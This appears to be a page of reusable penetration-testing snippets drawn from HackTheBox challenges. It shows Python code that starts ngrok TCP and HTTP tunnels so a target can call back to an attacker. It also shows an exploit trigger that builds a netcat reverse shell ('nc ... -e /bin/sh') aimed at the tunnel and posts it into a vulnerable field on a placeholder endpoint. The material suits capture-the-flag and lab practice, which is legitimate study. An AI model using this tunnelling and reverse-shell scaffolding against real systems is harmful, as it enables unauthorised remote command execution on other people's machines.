Skip to content
Ngrok

Ngrok

ngrok TCP tunnel — start and retrieve public listener

A local ngrok TCP tunnel exposes a listener when the target cannot connect directly to the attacking host. The local ngrok API returns the public hostname and port used in the reverse-shell payload, while the returned process handle allows the tunnel to be terminated when the exploit finishes.

import subprocess
import time

ngrok_tunnels = "http://127.0.0.1:4040/api/tunnels"

def start_ngrok_tcp_listener(s):
    try:
        # send stdout and stderr to devnull to prevent ngrok from writing to terminal
        ngrok_process = subprocess.Popen(f"exec ngrok tcp {LPORT}", stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, text=True, shell=True)
    except Exception as e:
        print(f"[-] {Fore.RED}Could not start ngrok TCP listener. {e}")
        sys.exit(1)

    # give ngrok time to create the tunnel before querying its API
    time.sleep(2)

    try:
        r = s.get(url=ngrok_tunnels, verify=False, timeout=10)
    except Exception as e:
        print(f"[-] {Fore.RED}Could not make request to ngrok API. {e}")
        sys.exit(1)

    ngrok_tunnel_list = r.json()["tunnels"]
    ngrok_full_url = ngrok_tunnel_list[0]["public_url"]
    ngrok_full_url_list = ngrok_full_url.split(":")
    ngrok_url = ngrok_full_url_list[1][2:]
    ngrok_port = ngrok_full_url_list[2]
    print(f"[+] {Fore.LIGHTGREEN_EX}Obtained ngrok TCP listener: {ngrok_full_url}")
    ngrok_details = ngrok_process, ngrok_url, ngrok_port
    return ngrok_details

With shell=True, Python first starts a shell process to interpret the readable command string. Without exec, that shell would start ngrok as another child process, while the returned Popen handle would continue to identify the shell.

exec is a shell builtin that replaces the shell’s running program with ngrok without creating another process. The process identifier remains unchanged, so the existing Popen handle now identifies ngrok itself. ngrok_process.terminate() consequently terminates the tunnel instead of terminating only an intermediate shell and leaving ngrok running.

Reverse-shell exploit trigger

The ngrok hostname and port build a generic netcat reverse shell. The target-specific payload, request field, and exploit endpoint remain as replacement points.

def send_exploit(s, ngrok_tcp_url, ngrok_tcp_port):
    rev_shell_cmd = f"nc {ngrok_tcp_url} {ngrok_tcp_port} -e /bin/sh"
    payload = f"<TARGET-SPECIFIC PAYLOAD CONTAINING: {rev_shell_cmd}>"
    data = {
        "<PAYLOAD_FIELD>": payload
    }
    try:
        r = s.post(url=f"{URL}/<EXPLOIT_ENDPOINT>", data=data, verify=False, timeout=10, proxies=PROXIES)
    except Exception as e:
        print(f"[-] {Fore.RED}Could not send request.")
    print(f"[+] {Fore.LIGHTGREEN_EX}Request sent.")

payload incorporates the reverse-shell command, data carries the payload in the vulnerable field, and the POST reaches the target-specific exploit endpoint.

The tunnel starts before the reverse-shell listener and remains available while the exploit runs. The process is terminated after the reverse-shell connection and listener cleanup finish.

if __name__ == "__main__":
    s = requests.Session()
    ngrok_process, ngrok_tcp_url, ngrok_tcp_port = start_ngrok_tcp_listener(s)

    # start the reverse-shell listener before sending the exploit payload
    send_exploit(s, ngrok_tcp_url, ngrok_tcp_port)

    # wait for the reverse-shell connection and close its listener

    ngrok_process.terminate()

Find by: ngrok, tcp tunnel, public listener, callback, reverse shell, subprocess, local api, port forwarding, tunnel cleanup, exploit trigger, netcat · Source: HTB/PumpkinSpice

ngrok HTTP tunnel — start and retrieve public URL

A local ngrok HTTP tunnel exposes an HTTP server when the target cannot connect directly to the attacking host. The local ngrok API returns the complete public URL, while the returned process handle allows the tunnel to be terminated when the exploit finishes.

import subprocess
import time

ngrok_tunnels = "http://127.0.0.1:4040/api/tunnels"

def start_ngrok_http_tunnel(s, port):
    try:
        # send stdout and stderr to devnull to prevent ngrok from writing to terminal
        ngrok_process = subprocess.Popen(f"exec ngrok http {port}", stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, text=True, shell=True)
    except Exception as e:
        print(f"[-] {Fore.RED}Could not start ngrok HTTP tunnel. {e}")
        sys.exit(1)

    # give ngrok time to create the tunnel before querying its API
    time.sleep(2)

    try:
        r = s.get(url=ngrok_tunnels, verify=False, timeout=10)
    except Exception as e:
        print(f"[-] {Fore.RED}Could not make request to ngrok API. {e}")
        sys.exit(1)

    ngrok_tunnel_list = r.json()["tunnels"]
    ngrok_full_url = ngrok_tunnel_list[0]["public_url"]
    print(f"[+] {Fore.LIGHTGREEN_EX}Obtained ngrok HTTP URL: {ngrok_full_url}")
    ngrok_details = ngrok_process, ngrok_full_url
    return ngrok_details

With shell=True, Python first starts a shell process to interpret the command string. The shell builtin exec replaces that shell’s running program with ngrok while retaining the same process identifier. The returned Popen handle therefore identifies ngrok itself, allowing ngrok_process.terminate() to stop the tunnel during cleanup.

An HTTP tunnel returns a complete URL such as https://example.ngrok.app. The path required by the target is appended to this URL.

if __name__ == "__main__":
    s = requests.Session()
    ngrok_process, ngrok_http_url = start_ngrok_http_tunnel(s, 8000)

    # use ngrok_http_url while the local HTTP server is running

    ngrok_process.terminate()

Find by: ngrok, http tunnel, public url, host http server, expose local server, subprocess, local api, port forwarding, tunnel cleanup · Source: HTB/GhostlyTemplates